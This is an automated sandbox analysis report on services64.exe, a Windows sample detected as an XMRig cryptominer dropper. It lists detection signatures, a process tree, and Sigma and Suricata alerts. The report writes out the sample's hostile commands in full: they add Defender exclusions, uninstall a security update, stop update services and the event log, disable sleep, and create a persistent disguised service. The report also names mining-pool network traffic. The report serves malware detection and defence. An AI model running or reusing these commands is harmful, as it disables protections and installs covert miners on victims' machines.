Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
services64.exe

Overview

General Information

Sample name:services64.exe
Analysis ID:1575187
MD5:a36aa640215e6e609fb942ff79c5adb5
SHA1:dc636f4de97d4b948d0abfbfa37ebeca08b5da55
SHA256:ff0a72d1860c9cad62aa4e48afe58831edc35ef4947661c7335dd08e5f26e05b
Tags:exeuser-sa6ta6ni6c
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Disable power options
Sigma detected: Stop EventLog
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found direct / indirect Syscall (likely to bypass EDR)
Hides threads from debuggers
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies power options to not sleep / hibernate
Modifies the context of a thread in another process (thread injection)
Modifies the hosts file
Modifies the prolog of user mode functions (user mode inline hooks)
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
PE file contains section with special chars
Protects its processes via BreakOnTermination flag
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to detect debuggers (CloseHandle check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to evade analysis by execution special instruction (VM detection)
Uses powercfg.exe to modify the power settings
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • services64.exe (PID: 7432 cmdline: "C:\Users\user\Desktop\services64.exe" MD5: A36AA640215E6E609FB942FF79C5ADB5)
    • powershell.exe (PID: 7496 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7700 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7784 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 7708 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7800 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7848 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7896 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7944 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 8004 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 8012 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 8028 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 8064 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • dialer.exe (PID: 8136 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)
      • winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)
      • lsass.exe (PID: 628 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)
      • svchost.exe (PID: 920 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • dwm.exe (PID: 988 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)
      • svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • svchost.exe (PID: 592 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • svchost.exe (PID: 1044 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • sc.exe (PID: 8168 cmdline: C:\Windows\system32\sc.exe delete "WindowsAutHost" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2056 cmdline: C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 2140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 2260 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 3384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 180 cmdline: C:\Windows\system32\sc.exe start "WindowsAutHost" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • WindowsAutHost (PID: 2696 cmdline: C:\ProgramData\WindowsServices\WindowsAutHost MD5: A36AA640215E6E609FB942FF79C5ADB5)
    • powershell.exe (PID: 404 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 7536 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wusa.exe (PID: 7528 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)
    • sc.exe (PID: 7548 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7496 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7792 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7720 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 7860 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)
      • conhost.exe (PID: 7852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7908 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7900 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7928 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powercfg.exe (PID: 7972 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)
      • conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • dialer.exe (PID: 8052 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)
    • dialer.exe (PID: 8184 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

    Sigma Signatures

    Change of critical system settings

    barindex
    Sigma detected: Disable power options
    Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 8004, ProcessName: powercfg.exe

    System Summary

    barindex
    Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7496, ProcessName: powershell.exe
    Sigma detected: Execution of Suspicious File Type Extension
    Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\ProgramData\WindowsServices\WindowsAutHost, CommandLine: C:\ProgramData\WindowsServices\WindowsAutHost, CommandLine|base64offset|contains: , Image: C:\ProgramData\WindowsServices\WindowsAutHost, NewProcessName: C:\ProgramData\WindowsServices\WindowsAutHost, OriginalFileName: C:\ProgramData\WindowsServices\WindowsAutHost, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\ProgramData\WindowsServices\WindowsAutHost, ProcessId: 2696, ProcessName: WindowsAutHost
    Sigma detected: Powershell Defender Exclusion
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7496, ProcessName: powershell.exe
    Sigma detected: Uncommon Svchost Parent Process
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\Windows\system32\dialer.exe, ParentImage: C:\Windows\System32\dialer.exe, ParentProcessId: 8136, ParentProcessName: dialer.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM, ProcessId: 920, ProcessName: svchost.exe
    Sigma detected: New Service Creation Using Sc.EXE
    Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "WindowsAutHost" binpath= "C:\ProgramData\WindowsServices\WindowsAutHost" start= "auto", ProcessId: 2056, ProcessName: sc.exe
    Sigma detected: Non Interactive PowerShell Process Spawned
    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 7496, ProcessName: powershell.exe

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Sigma detected: Stop EventLog
    Source: Process startedAuthor: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\services64.exe", ParentImage: C:\Users\user\Desktop\services64.exe, ParentProcessId: 7432, ParentProcessName: services64.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 2260, ProcessName: sc.exe

    Suricata Signatures

    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-14T17:57:24.241066+010020362892Crypto Currency Mining Activity Detected192.168.2.4580691.1.1.153UDP
    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
    2024-12-14T17:57:07.739578+010028269302Crypto Currency Mining Activity Detected192.168.2.44973437.203.243.10280TCP

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Multi AV Scanner detection for dropped file
    Source: C:\ProgramData\WindowsServices\WindowsAutHostReversingLabs: Detection: 47%
    Multi AV Scanner detection for submitted file
    Source: services64.exeReversingLabs: Detection: 47%
    AI detected suspicious sample
    Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
    Machine Learning detection for dropped file
    Source: C:\ProgramData\WindowsServices\WindowsAutHostJoe Sandbox ML: detected
    Machine Learning detection for sample
    Source: services64.exeJoe Sandbox ML: detected

    Bitcoin Miner

    barindex
    Yara detected Xmrig cryptocurrency miner
    Source: Yara matchFile source: dump.pcap, type: PCAP
    Source: services64.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
    Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.dr
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC64DCE0 FindFirstFileExW,30_2_00000225DC64DCE0
    Source: C:\Windows\System32\winlogon.exeCode function: 30_2_00000225DC6ADCE0 FindFirstFileExW,30_2_00000225DC6ADCE0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0AEDCE0 FindFirstFileExW,31_2_00000202C0AEDCE0
    Source: C:\Windows\System32\lsass.exeCode function: 31_2_00000202C0B4DCE0 FindFirstFileExW,31_2_00000202C0B4DCE0
    Source: C:\Windows\System32\sc.exeCode function: 33_2_000001BCD1C5DCE0 FindFirstFileExW,33_2_000001BCD1C5DCE0
    Source: C:\Windows\System32\conhost.exeCode function: 35_2_000001AFBC54DCE0 FindFirstFileExW,35_2_000001AFBC54DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 36_2_000002A66130DCE0 FindFirstFileExW,36_2_000002A66130DCE0
    Source: C:\Windows\System32\dwm.exeCode function: 38_2_000002BAAEDDDCE0 FindFirstFileExW,38_2_000002BAAEDDDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 42_2_0000026A879CDCE0 FindFirstFileExW,42_2_0000026A879CDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 43_2_00000179537ADCE0 FindFirstFileExW,43_2_00000179537ADCE0
    Source: C:\Windows\System32\svchost.exeCode function: 44_2_000002295D56DCE0 FindFirstFileExW,44_2_000002295D56DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306E6DCE0 FindFirstFileExW,45_2_0000025306E6DCE0
    Source: C:\Windows\System32\svchost.exeCode function: 45_2_0000025306ECDCE0 FindFirstFileExW,45_2_0000025306ECDCE0
    Source: C:\Windows\System32\svchost.exeCode function: 53_2_000001845B94DCE0 FindFirstFileExW,53_2_000001845B94DCE0
    Source: Network trafficSuricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.4:58069 -> 1.1.1.1:53
    Source: Network trafficSuricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.4:49734 -> 37.203.243.102:80
    Source: unknownDNS traffic detected: query: slkpanel3458647.site replaycode: Name error (3)
    Source: lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
    Source: lsass.exe, 0000001F.00000002.3238221679.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03BA000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821473498.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B2000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
    Source: lsass.exe, 0000001F.00000003.2271906692.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821838171.00000202C0351000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000002.3242123112.00000202C0379000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
    Source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.drString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
    Source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.drString found in binary or memory: http://crl.globalsign.net/Root.crl0
    Source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.drString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
    Source: WindowsAutHost, 00000025.00000003.1882707628.0000016F8FAF0000.00000004.00000001.00020000.00000000.sdmp, ybmcltmshprh.sys.37.drString found in binary or memory: http://crl.globalsign.net/primobject.crl0
    Source: lsass.exe, 0000001F.00000002.3242305511.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C0390000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001F.00000000.1821977863.00000202C03B5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
    Source: lsass.exe, 0000001F.00000000.1821977863.00000202C03C5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
